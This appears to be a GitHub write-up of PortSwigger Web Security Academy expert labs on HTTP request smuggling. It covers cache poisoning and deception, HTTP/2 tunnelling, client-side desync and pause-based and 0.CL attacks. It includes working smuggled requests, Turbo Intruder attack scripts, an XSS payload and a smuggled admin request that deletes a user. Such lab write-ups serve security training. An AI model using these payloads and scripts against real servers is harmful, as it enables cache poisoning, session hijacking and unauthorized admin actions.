portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to HTTP Request Smuggling:

16 Exploiting HTTP request smuggling to perform web cache poisoning

This lab demonstrates how request smuggling can be used to poison cache entries, causing the cache to serve malicious responses to other users.

17 Exploiting HTTP request smuggling to perform web cache deception

This lab shows how request smuggling can be leveraged to trigger web cache deception attacks, exposing sensitive resources to unintended caching.

18 Bypassing access controls via HTTP/2 request tunnelling

This lab demonstrates how HTTP/2 tunneling can be abused to bypass access controls using request smuggling techniques.

19 Web cache poisoning via HTTP/2 request tunnelling

This lab shows how attackers can combine HTTP/2 tunneling with cache poisoning to inject malicious responses into cached content.

20 Client-side desync

This lab covers client-side desynchronization attacks that occur when inconsistencies between client and server request parsing lead to vulnerabilities.

21 Server-side pause-based request smuggling

This lab demonstrates advanced request smuggling using deliberate pauses to manipulate server request parsing behavior.

22 Server-side CL.0 request smuggling

This lab demonstrates request smuggling vulnerabilities caused by inconsistent handling of the `Content-Length` header. The front-end server honors the header while the back-end server ignores it for specific endpoints, allowing an attacker to smuggle requests and gain unauthorized access to the admin panel.

LAB 16 - Exploiting HTTP request smuggling to perform web cache poisoning

Lab Description

image

Solution

Access the lab and lookig at the post 5 we can see that next post link which will redirect us to next post of website

image

Sending the red mark request to repeater.

image

We can see that /post/next?postId=5 post id is appended to url

image

Observe that you can use this request to make the next request to the website get redirected to /post on a host of your choice.

Payload:


POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

image

Go to your exploit server, and create a text/javascript file at /post with the contents: alert(document.cookie)

image

Poison the server cache by first relaunching the previous attack using your exploit server’s hostname as follows:

image

Then fetch /resources/js/tracking.js by sending the following request:this will get smuggled request from above request and give it to the below request which will generate alert Confirm that the cache has been poisoned by repeating the request to tracking.js several times and confirming that you receive the redirect every time.

If the attack has succeeded, the response to the request should be a redirect to your exploit server.

image

When succesfully cache is poisoned reload the website and alert will be generated and lab is solved

image

As we can see when alert is generated lab is solved

image


LAB 17 - Exploiting HTTP request smuggling to perform web cache deception

Lab Description

image

Solution

In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.

Changing request to Post and adding body postid=6 and changing method to http/1.1 to know that request smuggling is possible in the request or not

image

First, we need to determine which type of HTTP request smuggling. Like CL.TE (Front-end uses Content-Length header, back-end uses Transfer-Encoding header) or TE.CL (Front-end uses Transfer-Encoding header, back-end uses Content-Length header). So we have identfied it been using CL.TE:

Attack request:


POST/HTTP/1.1Host:0a7b0027039cfac0c0ef869700c10027.web-security-academy.net
Content-Type:application/x-www-form-urlencoded
Content-Length:49
Transfer-Encoding:chunked

0
GET /404pls HTTP/1.1
X-Foo: x

I have used same tab for attack and to identified you must used two tab one for attack and one for normal request to identified smuggling As you can see, our second time request’s response returns a 404 status code, which means the web application is vulnerable to CL.TE HTTP request smuggling.

image

As you can see, both /resources/js/tracking.js and /resources/images/blog.svg has implemented web cache. That being said, we can try to poison those cache later.

/resources/js/tracking.js

image

resources/images/blog.svg

image

Login as user wiener:

image

After we logged in, we can view our API key.

image

Armed with above information, we can try to leverage HTTP request smuggling to perform web cache deception in order to view victim’s API key!

To do so, we can first smuggle a request that returns some sensitive user-specific content:


POST/HTTP/1.1Host:0a7b0027039cfac0c0ef869700c10027.web-security-academy.net
Content-Type:application/x-www-form-urlencoded
Content-Length:39
Transfer-Encoding:chunked

0
GET /my-account HTTP/1.1
X-Foo: x

image

The next request from another user that is forwarded to the back-end server will be appended to the smuggled request, including session cookies and other headers. For example:

In our case the cache request was /resources/js/tracking.js

image

We can then visits the static URL and receives the sensitive content that is returned from the cache. An important caveat here is that we doesn’t know the URL against which the sensitive content will be cached, since this will be whatever URL the victim user happened to be requesting when the smuggled request took effect.

We have use both blog.svg and tracking.js but we get account info of admin from tracking.js.

image

We found administrator’s API key in /resources/js/tracking.js Let’s submit that! AND LAB IS solved

image


LAB 18 - Bypassing access controls via HTTP/2 request tunnelling

Lab Description

image

Solution

In this Lab, the Front-End downgrades HTTP/2 requests and fails to properly sanitize incoming headers. To solve the lab, we are required to compromise the admin and delete the user Carlos. Admittedly, i found this type of vulnerability a bit difficult to detect and defend. More so, this kind of vulnerability can be highly impactful if you come across it in a real pentest/bug-bounty.

The Approach First we begin with recon. Observe that the application has a search feature that is reflected client side and a comment sectionimage

image

Proxy all the request to burp.

Take note of the content-length as this will come in handy during the last bits of the lab.(ESPECIALLY SEARCH)

image

To prove that this vulnerability exists, we will try to inject headers with CRLF on the root of the application while keeping the request to HTTP /2 and point it to a host header that does not exist (say test.com).

image

image

We get a timeout connecting to test.com. With that in mind, we need to find an endpoint that might leak internal headers. In this case, i found the search engine functionality to be the best bet.

image

Change the request method to post.

image

Remove the Content-Length and the search=hacker as the front-end will ignore the cl and as for the search parameter we will introduce it in the inspector tab.

image

image

We get the cookie value revealed in the response, this means that we can reveal more headers if we increase the value of the content-length.

Setting the Content-Length to 140, we get more internal headers revealed.

image

We can use these internal headers to login as admin.

image

The Exploit

image

We try accessing the admin panel using the internal headers we retrieved as shown above. Notice some alterations i made.

image

  1. X-SSL-VERIFIED: means that we are verified,unlike the 0 which was previously used. 2 X-SSL-CLIENT-CN: stands for Common Name. in this instance the name should be administrator.

image

We get a response for the front page and not that of the admin page. What happens if we change the request method from GET to POST,PUT,HEAD. Using a HEAD request to the home page of the application we receive a very juicy error message.

image

“Server Error: Received only 3608 of expected 8760 bytes of data” This means, the path / renders 8760 but the server only received 3608 bytes of data. We can work around this by identifying a path with 3608 bytes or less. We try path /admin

image

image

We still do not get enough response for the admin. This is because the content-length for the admin path is still too small.

image

We need to identify a path with more bytes than 2790 yet less than 3608. If you recall from the first recon, the /?search=hacker had 3406 bytes, that may work fine.

image

image

image

We get the admin panel. With little efforts,we can now delete the user carlos.

image

Sending above requet will solved the lab

image


LAB 19 - Web cache poisoning via HTTP/2 request tunnelling

Lab Description

image

Solution

Here, we will work around on how we can poison the cache in such a way that when the victim visits the home page, their browser executes alert(1).

A victim user will visit the home page every 15 seconds.

In this scenario, the front end does not reuse the connection to the back-end server, so it isn’t vulnerable to a classic request smuggling attack. The only way around it is through a request tunneling attack.

This vulnerability is rampant in many web applications I have come across.

The Approach

We will start by confirming that the request smuggling attack works by smuggling a request to an end-point that does not exist.

We can do this as follows:

image

We get a 404 not found, and this is POC that vulnerability exists.

Exploitation

To exploit this, we can add a cache buster parameter that we can use only us to confirm that the smuggled request is working. if it works we can remove the cache parameter to smuggle the request to the actual front page.

I will demonstrate all these with screenshots.

image

As you can see, we introduced an arbitrary path /?cachebuster=1 HTTP/1.1 and smuggled a GET request to /post?postId=9 We expected to view the content of the post but instead we receive the contents of the home page. This is because the web app has a blind request-smuggling vulnerability since the front end is reading the back-end result following what the content-length telling it, and that’s the home page. However we can turn this attack to a non-blind attack by changing the request method from GET to Head. This works because a HEAD request makes the front-end to read from the headers and not the content-length.

image

image

Notice that we now get the request headers for our smuggled request. However, there is a catch to this that you should understand. If you send a request with a lesser content length than that of the home page, you get a timeout.

image

image

The web server expected 8350 bytes of character but instead got 11 bytes only. Now we need to identify a sink that reflects user input in the response and and inject our JavaScript.

image

To achieve this, find a path to a resource and delete a couple of directories until you find a 302 redirect to the specified resource path which we can inject our JavaScript payload.

image

And it works!!!

image

We encounter the same problem as before. The bytes expected from the smuggled request were lesser than that of the home page. So we need to add more bytes to it. We need to print at least 8800 A characters. We do so as follows.

image

image

We get the response as expected.

image

To poison the home page, we need to get rid of the ?cachebuster=2. simply leave the path blank.

image

And lab is solved

image


LAB 20 - Client-side desync

Lab Description

image

Overview: Client-Side Desync (CSD) Attacks

A Client-Side Desync (CSD) attack occurs when a victim’s browser becomes desynchronized with the target web server, as opposed to traditional request smuggling which involves desynchronization between front-end and back-end servers.

image

How It Works

Some web servers respond to POST requests without reading the full body. If the browser reuses the same connection for additional requests, it can result in a client-side desync vulnerability.

Attack Flow:

  1. The victim visits a malicious web page containing attacker-controlled JavaScript.
  2. The JavaScript sends a crafted POST request to the vulnerable site, leaving part of the request (the “prefix”) in the socket buffer.
  3. The server responds to the request but leaves the prefix unprocessed in the TCP/TLS socket.
  4. The browser sends a second request using the same connection.
  5. This follow-up request gets appended to the original malicious prefix, triggering unintended behavior on the server.

Unlike traditional request smuggling, CSD attacks do not require multiple servers. Even a single-server architecture can be vulnerable.


Important Notes


Testing for Client-Side Desync Vulnerabilities

To successfully identify and exploit CSD, follow this structured workflow:

  1. Probe for desync vectors using Burp Suite.
  2. Confirm the desync vector behavior in Burp.
  3. Build a PoC (Proof of Concept) to test the desync in a real browser.
  4. Identify a gadget – a response or behavior that can be manipulated for exploitation.
  5. Construct a working exploit in Burp.
  6. Replicate the exploit in the browser.

Both Burp Scanner and the HTTP Request Smuggler extension can help automate some of these tasks. However, understanding the manual process is crucial for mastering CSD attack techniques.

Solution

In the request to the home page, add a content-length value greater than the len of the body, we see that the request is still normal and returns 302 to/en

image

Try smuggling like this:

image

Check comment at postId 9 -> successfully “captured” another user’s request

image

Payload exploits client desync as follows

image

Note: “cors” to trigger cors error block follow redirect

image

image

Set cookies again and solve the lab problem

image

Let’s take a look at the redirect mentioned above, try setting it up with mode. no-corsWe see that the “caught” request will look like this:

image

Try pretending to be a victim and test, we have the Network tab as follows:

image


LAB 21 - Server-side pause-based request smuggling

Lab Description

image

Solution

Exploring the app and then sending get request to repeate ,We can also see resources request in red highlight.

image

Identify a desync vector

In Burp, notice from the Server response header that the lab is using **Apache 2.4.52**. This version of Apache is potentially vulnerable to pause-based CL.0 attacks on endpoints that trigger server-level redirects.

image

In Burp Repeater, try issuing a request for a valid directory without including a trailing slash, for example, GET /resources. Observe that you are redirected to /resources/.

image

Right-click the request and select Extensions > Turbo Intruder > Send to Turbo Intruder.

image

In Turbo Intruder, convert the request to a POST request (right-click and select Change request method).

image

HTTP Request Smuggling - Access Admin Panel via Keep-Alive Header

Steps:

  1. Change the Connection header to keep-alive.

  2. Add a complete GET /admin request to the body of the main request.

Example request:

POST /resources HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: CORRECT

GET /admin/ HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
  1. In the Python editor panel, enter the following script to queue the requests with a 61-second pause after the headers:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=500,
                           pipeline=False
                           )

    engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=61000)
    engine.queue(target.req)

def handleResponse(req, interesting):
    table.add(req)

Note:

At the end of the smuggled request, ensure you include two \r\n line breaks. Without these trailing CRLF characters, the server will not correctly interpret the smuggled request and may not grant access to the admin panel.

image

Launch the attack. Initially, you won’t see anything happening, but after 61 seconds, you should see two entries in the results table: ○ The first entry is the POST /resources request, which triggered a redirect to /resources/ as normal. ○ The second entry is a response to the GET /admin/ request. Although this just tells you that the admin panel is only accessible to local users, this confirms the pause-based CL.0 vulnerability.

image

In Turbo Intruder, go back to the attack configuration screen. In your smuggled request, change the Host header to localhost and relaunch the attack. After 61 seconds, notice that you have now successfully accessed the admin panel.

image

Study the response and observe that the admin panel contains an HTML form for deleting a given user. Make a note of the following details:

• The action attribute (/admin/delete).

• The name of the input (username).

• The csrf token

image

We also copy csrf and cookie

image

We render response to know how it look like we can see that it is taking name of user to delete.

image

Go back to the attack configuration screen. Use these details to replicate the request that would be issued when submitting the form. The result should look something like this:


POST /resources HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: CORRECT

POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Type: x-www-form-urlencoded
Content-Length: CORRECT

csrf=YOUR-CSRF-TOKEN&username=carlos

To prevent Turbo Intruder from pausing after both occurrences of \r\n\r\n in the request, update the pauseMarker argument so that it only matches the end of the first set of headers, for example:

pauseMarker=['Content-Length: CORRECT\r\n\r\n']

Launch the attack.

image

After 61 seconds, the lab is solved.

image

lab is solved.

image


LAB 22 - CL.0 request smuggling

Lab Description

image

Solution

Beginner-Friendly Explanation: 0.CL Request Smuggling

Simple Analogy

Imagine two people processing a multi-page letter:

If an attacker hides malicious instructions on that “extra” page, the back-end will process them as a legitimate new request. This is 0.CL request smuggling — a desynchronization attack where the front-end and back-end disagree on request boundaries due to how they handle Content-Length: 0.

(For deeper details, see James Kettle’s research: HTTP/1.1 Must Die.)

Initial Reconnaissance in Burp Suite

  1. Configure your browser to proxy through Burp Suite and access the lab.
  2. Browse the homepage and several static pages, capturing all requests in the HTTP history.
  3. Examine responses for unusual headers, particularly Content-Length and Transfer-Encoding.

Confirming 0.CL Desync Behavior

Before crafting a full exploit, verify that the back-end processes smuggled content when Content-Length: 0 is used.

Manual Test in Repeater (Grouped Tabs):

  1. Create this combined request:
    POST / HTTP/1.1
    Host: <LAB_HOST>
    
    GET /404 HTTP/1.1
    Host: <LAB_HOST>
    

    (Note: No body after the empty POST; the GET follows directly.)

  2. Send the full payload.
  3. If the back-end processes the GET /404 (e.g., returns 404 or anomalous behavior), 0.CL desync is confirmed.

image

This step ensures the back-end treats appended content as a new request — crucial before proceeding.

Finding the XSS Vulnerability
During scanning, an informational issue like “User agent-dependent response” may appear.

image

Perform a targeted active scan on the User-Agent header insertion point. This quickly reveals reflected XSS in requests to /post?postId=8, where the User-Agent value is echoed unsafely.

image

Exploiting 0.CL Request Smuggling

Manual exploitation is unreliable due to timing and double-desync requirements. Use Turbo Intruder with James Kettle’s template script for reliability.

  1. Send a fresh GET / request to Turbo Intruder.

image

  1. Load the example script: examples/0cl-exploit.py.

image

Key Customizations (Tailored for This Lab):

Full Customized Turbo Intruder Script

# Based on https://portswigger.net/research/http1-must-die
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=10,
                           requestsPerConnection=1,
                           engine=Engine.BURP,
                           maxRetriesPerRequest=0,
                           timeout=15
                           )

    stage1 = '''POST /resources/css/anything HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length : %s

'''

    smuggled = '''GET /post?postId=8 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1'''

    stage2_chopped = '''OPTIONS / HTTP/1.1
Content-Length: 123
X: Y'''

    stage2_revealed = '''GET /404 HTTP/1.1
Host: '''+host+'''
User-Agent: foo
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
'''

    victim = '''GET / HTTP/1.1
Host: '''+host+'''
User-Agent: foo
'''

    # Do not edit below this line
    if '%s' not in stage1:
        raise Exception('Please place %s in the Content-Length header value')
    if not stage1.endswith('\r\n\r\n'):
        raise Exception('Stage1 request must end with a blank line and have no body')

    while True:
        engine.queue(stage1, len(stage2_chopped), label='stage1', fixContentLength=False)
        engine.queue(stage2_chopped + stage2_revealed + smuggled, label='stage2')
        engine.queue(victim, label='victim')

def handleResponse(req, interesting):
    table.add(req)
    # Double-desync attacks can take time!
    if req.label == 'victim' and 'Congratulations' in req.response:
        req.engine.cancel()

image

Launch the attack. It typically solves the lab in seconds to a minute by smuggling the XSS payload into the victim’s (Carlos’s) homepage request, triggering alert(1) in their browser.

image